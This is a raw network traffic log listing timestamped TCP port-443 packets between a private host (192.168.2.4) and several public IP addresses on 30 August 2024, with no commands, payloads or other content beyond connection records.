Aug 30, 2024 00:19:49.182924986 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:49.182939053 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:49.183044910 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:49.183053970 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:49.183191061 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:49.183917046 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:49.183939934 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:49.184011936 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:49.184011936 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:49.184020996 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:49.184061050 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:49.184863091 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:49.184878111 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:49.184946060 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:49.184946060 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:49.184958935 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:49.185216904 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:49.185712099 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:49.185786009 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:49.185794115 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:49.185806990 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:49.185842037 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:49.186166048 CEST	49889	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:49.186180115 CEST	443	49889	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:49.950613976 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:49.966984034 CEST	49890	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:49.967010975 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:49.968090057 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:49.968295097 CEST	49890	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:49.968966961 CEST	49890	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:49.969037056 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:49.969144106 CEST	49890	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:49.969156981 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:50.018234968 CEST	49890	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:50.217045069 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:50.258712053 CEST	49890	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:50.263983011 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:50.263994932 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:50.264039040 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:50.264055014 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:50.264062881 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:50.264065027 CEST	49890	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:50.264089108 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:50.264122963 CEST	49890	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:50.264152050 CEST	49890	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:50.305421114 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:50.305433989 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:50.305473089 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:50.305562019 CEST	49890	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:50.305592060 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:50.305608034 CEST	49890	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:50.305633068 CEST	49890	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:50.308139086 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:50.308161974 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:50.308207989 CEST	49890	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:50.308218956 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:50.308244944 CEST	49890	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:50.308263063 CEST	49890	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:50.389868975 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:50.389899969 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:50.389944077 CEST	49890	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:50.389970064 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:50.389986992 CEST	49890	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:50.390014887 CEST	49890	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:50.390875101 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:50.390899897 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:50.390944004 CEST	49890	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:50.390949011 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:50.390985966 CEST	49890	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:50.391005039 CEST	49890	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:50.391860008 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:50.391880989 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:50.391916990 CEST	49890	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:50.391921043 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:50.391958952 CEST	49890	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:50.391968012 CEST	49890	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:50.392784119 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:50.392808914 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:50.392846107 CEST	49890	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:50.392851114 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:50.392880917 CEST	49890	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:50.392896891 CEST	49890	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:50.476098061 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:50.476125002 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:50.476182938 CEST	49890	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:50.476198912 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:50.476239920 CEST	49890	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:50.476258993 CEST	49890	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:50.476826906 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:50.476849079 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:50.476891041 CEST	49890	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:50.476897001 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:50.476939917 CEST	49890	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:50.476959944 CEST	49890	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:50.477276087 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:50.477324963 CEST	49890	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:50.477330923 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:50.477365971 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:50.477406025 CEST	49890	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:50.477575064 CEST	49890	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:50.477588892 CEST	443	49890	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:50.490417957 CEST	49892	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:50.490439892 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:50.490509033 CEST	49892	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:50.490926027 CEST	49892	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:50.490935087 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:51.549976110 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:51.550167084 CEST	49892	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:51.550194979 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:51.551199913 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:51.551260948 CEST	49892	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:51.551649094 CEST	49892	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:51.551711082 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:51.551770926 CEST	49892	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:51.551776886 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:51.591999054 CEST	49892	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:51.822223902 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:51.862833977 CEST	49892	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:51.868465900 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:51.868488073 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:51.868525982 CEST	49892	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:51.868529081 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:51.868547916 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:51.868565083 CEST	49892	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:51.868568897 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:51.868576050 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:51.868587017 CEST	49892	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:51.868597984 CEST	49892	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:51.868629932 CEST	49892	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:51.914030075 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:51.914057016 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:51.914103031 CEST	49892	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:51.914118052 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:51.914148092 CEST	49892	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:51.914169073 CEST	49892	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:51.916868925 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:51.916886091 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:51.916944027 CEST	49892	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:51.916949987 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:51.916987896 CEST	49892	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:52.008207083 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:52.008228064 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:52.008291006 CEST	49892	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:52.008306026 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:52.008337975 CEST	49892	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:52.008357048 CEST	49892	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:52.008408070 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:52.008421898 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:52.008461952 CEST	49892	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:52.008466959 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:52.008500099 CEST	49892	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:52.008500099 CEST	49892	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:52.008841991 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:52.008857965 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:52.008889914 CEST	49892	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:52.008893967 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:52.008920908 CEST	49892	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:52.008941889 CEST	49892	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:52.030888081 CEST	49896	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:52.030924082 CEST	443	49896	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:52.030983925 CEST	49896	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:52.031294107 CEST	49896	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:52.031311035 CEST	443	49896	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:52.050453901 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:52.050477982 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:52.050529003 CEST	49892	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:52.050535917 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:52.050576925 CEST	49892	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:52.095535994 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:52.095558882 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:52.095638037 CEST	49892	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:52.095653057 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:52.095699072 CEST	49892	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:52.096236944 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:52.096254110 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:52.096287012 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:52.096292973 CEST	49892	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:52.096297026 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:52.096329927 CEST	49892	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:52.096355915 CEST	49892	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:52.096359015 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:52.096369028 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:52.096424103 CEST	49892	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:52.097244978 CEST	49892	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:52.097259998 CEST	443	49892	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:52.712856054 CEST	443	49896	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:52.757440090 CEST	49896	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:52.873758078 CEST	49896	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:52.873780012 CEST	443	49896	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:52.874388933 CEST	443	49896	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:52.900613070 CEST	49896	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:52.900823116 CEST	443	49896	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:52.907963991 CEST	49896	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:52.948544979 CEST	443	49896	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:53.013808966 CEST	443	49896	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:53.013832092 CEST	443	49896	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:53.013839960 CEST	443	49896	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:53.013855934 CEST	443	49896	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:53.013861895 CEST	443	49896	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:53.013868093 CEST	443	49896	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:53.014038086 CEST	49896	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:53.014070988 CEST	443	49896	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:53.014183044 CEST	49896	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:53.102128029 CEST	443	49896	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:53.102145910 CEST	443	49896	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:53.102305889 CEST	49896	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:53.102332115 CEST	443	49896	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:53.102452993 CEST	49896	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:53.104249954 CEST	443	49896	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:53.104264975 CEST	443	49896	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:53.104427099 CEST	49896	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:53.104434967 CEST	443	49896	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:53.104620934 CEST	49896	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:53.189376116 CEST	443	49896	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:53.189393044 CEST	443	49896	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:53.189459085 CEST	49896	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:53.189483881 CEST	443	49896	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:53.189531088 CEST	49896	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:53.191184998 CEST	443	49896	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:53.191201925 CEST	443	49896	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:53.191251993 CEST	49896	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:53.191260099 CEST	443	49896	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:53.191302061 CEST	49896	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:53.193068027 CEST	443	49896	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:53.193083048 CEST	443	49896	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:53.193120956 CEST	49896	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:53.193121910 CEST	443	49896	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:53.193134069 CEST	443	49896	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:53.193171978 CEST	49896	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:53.193180084 CEST	443	49896	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:53.193217039 CEST	443	49896	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:53.193255901 CEST	49896	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:53.208666086 CEST	49896	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:53.208669901 CEST	443	49896	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:53.234108925 CEST	49900	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:53.234117031 CEST	443	49900	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:53.234184980 CEST	49900	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:53.234364033 CEST	49900	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:53.234374046 CEST	443	49900	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:53.888607979 CEST	443	49900	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:53.888977051 CEST	49900	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:53.889004946 CEST	443	49900	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:53.889378071 CEST	443	49900	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:53.889733076 CEST	49900	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:53.889795065 CEST	443	49900	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:53.889895916 CEST	49900	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:53.932507038 CEST	443	49900	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:53.996417046 CEST	443	49900	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:53.996440887 CEST	443	49900	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:53.996457100 CEST	443	49900	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:53.996514082 CEST	49900	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:53.996541977 CEST	443	49900	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:53.996552944 CEST	49900	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:53.996582031 CEST	49900	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:54.083316088 CEST	443	49900	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:54.083340883 CEST	443	49900	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:54.083395958 CEST	49900	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:54.083425045 CEST	443	49900	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:54.083446026 CEST	49900	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:54.083467007 CEST	49900	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:54.085747004 CEST	443	49900	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:54.085766077 CEST	443	49900	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:54.085793972 CEST	49900	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:54.085799932 CEST	443	49900	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:54.085845947 CEST	49900	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:54.170908928 CEST	443	49900	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:54.170933962 CEST	443	49900	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:54.171056986 CEST	49900	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:54.171056986 CEST	49900	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:54.171082020 CEST	443	49900	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:54.171199083 CEST	49900	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:54.172199965 CEST	443	49900	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:54.172216892 CEST	443	49900	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:54.172346115 CEST	49900	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:54.172352076 CEST	443	49900	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:54.172420025 CEST	49900	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:54.174031973 CEST	443	49900	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:54.174048901 CEST	443	49900	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:54.174087048 CEST	443	49900	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:54.174160957 CEST	443	49900	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:54.174174070 CEST	49900	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:54.174174070 CEST	49900	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:54.174232960 CEST	49900	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:54.174684048 CEST	49900	443	192.168.2.4	13.107.246.60
Aug 30, 2024 00:19:54.174695969 CEST	443	49900	13.107.246.60	192.168.2.4
Aug 30, 2024 00:19:54.738064051 CEST	49906	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:54.738082886 CEST	443	49906	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:54.738497019 CEST	49907	443	192.168.2.4	13.107.246.42
Aug 30, 2024 00:19:54.738535881 CEST	443	49907	13.107.246.42	192.168.2.4
Aug 30, 2024 00:19:54.738590956 CEST	49906	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:54.738692999 CEST	49907	443	192.168.2.4	13.107.246.42
Aug 30, 2024 00:19:54.739264011 CEST	49908	443	192.168.2.4	13.107.246.57
Aug 30, 2024 00:19:54.739295006 CEST	443	49908	13.107.246.57	192.168.2.4
Aug 30, 2024 00:19:54.739373922 CEST	49908	443	192.168.2.4	13.107.246.57
Aug 30, 2024 00:19:54.742548943 CEST	49908	443	192.168.2.4	13.107.246.57
Aug 30, 2024 00:19:54.742561102 CEST	443	49908	13.107.246.57	192.168.2.4
Aug 30, 2024 00:19:54.742815971 CEST	49906	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:54.742827892 CEST	443	49906	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:54.742832899 CEST	49907	443	192.168.2.4	13.107.246.42
Aug 30, 2024 00:19:54.742845058 CEST	443	49907	13.107.246.42	192.168.2.4
Aug 30, 2024 00:19:55.385456085 CEST	443	49908	13.107.246.57	192.168.2.4
Aug 30, 2024 00:19:55.385689020 CEST	49908	443	192.168.2.4	13.107.246.57
Aug 30, 2024 00:19:55.385706902 CEST	443	49908	13.107.246.57	192.168.2.4
Aug 30, 2024 00:19:55.386794090 CEST	443	49908	13.107.246.57	192.168.2.4
Aug 30, 2024 00:19:55.386857986 CEST	49908	443	192.168.2.4	13.107.246.57
Aug 30, 2024 00:19:55.387857914 CEST	49908	443	192.168.2.4	13.107.246.57
Aug 30, 2024 00:19:55.387927055 CEST	443	49908	13.107.246.57	192.168.2.4
Aug 30, 2024 00:19:55.392520905 CEST	443	49907	13.107.246.42	192.168.2.4
Aug 30, 2024 00:19:55.392715931 CEST	49907	443	192.168.2.4	13.107.246.42
Aug 30, 2024 00:19:55.392729998 CEST	443	49907	13.107.246.42	192.168.2.4
Aug 30, 2024 00:19:55.393775940 CEST	443	49907	13.107.246.42	192.168.2.4
Aug 30, 2024 00:19:55.393841982 CEST	49907	443	192.168.2.4	13.107.246.42
Aug 30, 2024 00:19:55.394134045 CEST	49907	443	192.168.2.4	13.107.246.42
Aug 30, 2024 00:19:55.394191980 CEST	443	49907	13.107.246.42	192.168.2.4
Aug 30, 2024 00:19:55.437514067 CEST	49907	443	192.168.2.4	13.107.246.42
Aug 30, 2024 00:19:55.437520981 CEST	49908	443	192.168.2.4	13.107.246.57
Aug 30, 2024 00:19:55.437534094 CEST	443	49907	13.107.246.42	192.168.2.4
Aug 30, 2024 00:19:55.437542915 CEST	443	49908	13.107.246.57	192.168.2.4
Aug 30, 2024 00:19:55.482074976 CEST	49908	443	192.168.2.4	13.107.246.57
Aug 30, 2024 00:19:55.485495090 CEST	49907	443	192.168.2.4	13.107.246.42
Aug 30, 2024 00:19:55.550996065 CEST	443	49906	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:55.551239967 CEST	49906	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:55.551266909 CEST	443	49906	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:55.552294016 CEST	443	49906	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:55.552354097 CEST	49906	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:55.552695990 CEST	49906	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:55.552757978 CEST	443	49906	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:55.552817106 CEST	49906	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:55.596504927 CEST	443	49906	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:55.597512007 CEST	49906	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:55.597529888 CEST	443	49906	152.199.21.175	192.168.2.4
Aug 30, 2024 00:19:55.644737959 CEST	49906	443	192.168.2.4	152.199.21.175
Aug 30, 2024 00:19:56.255517006 CEST	443	49906	152.199.21.175	192.168.2.4
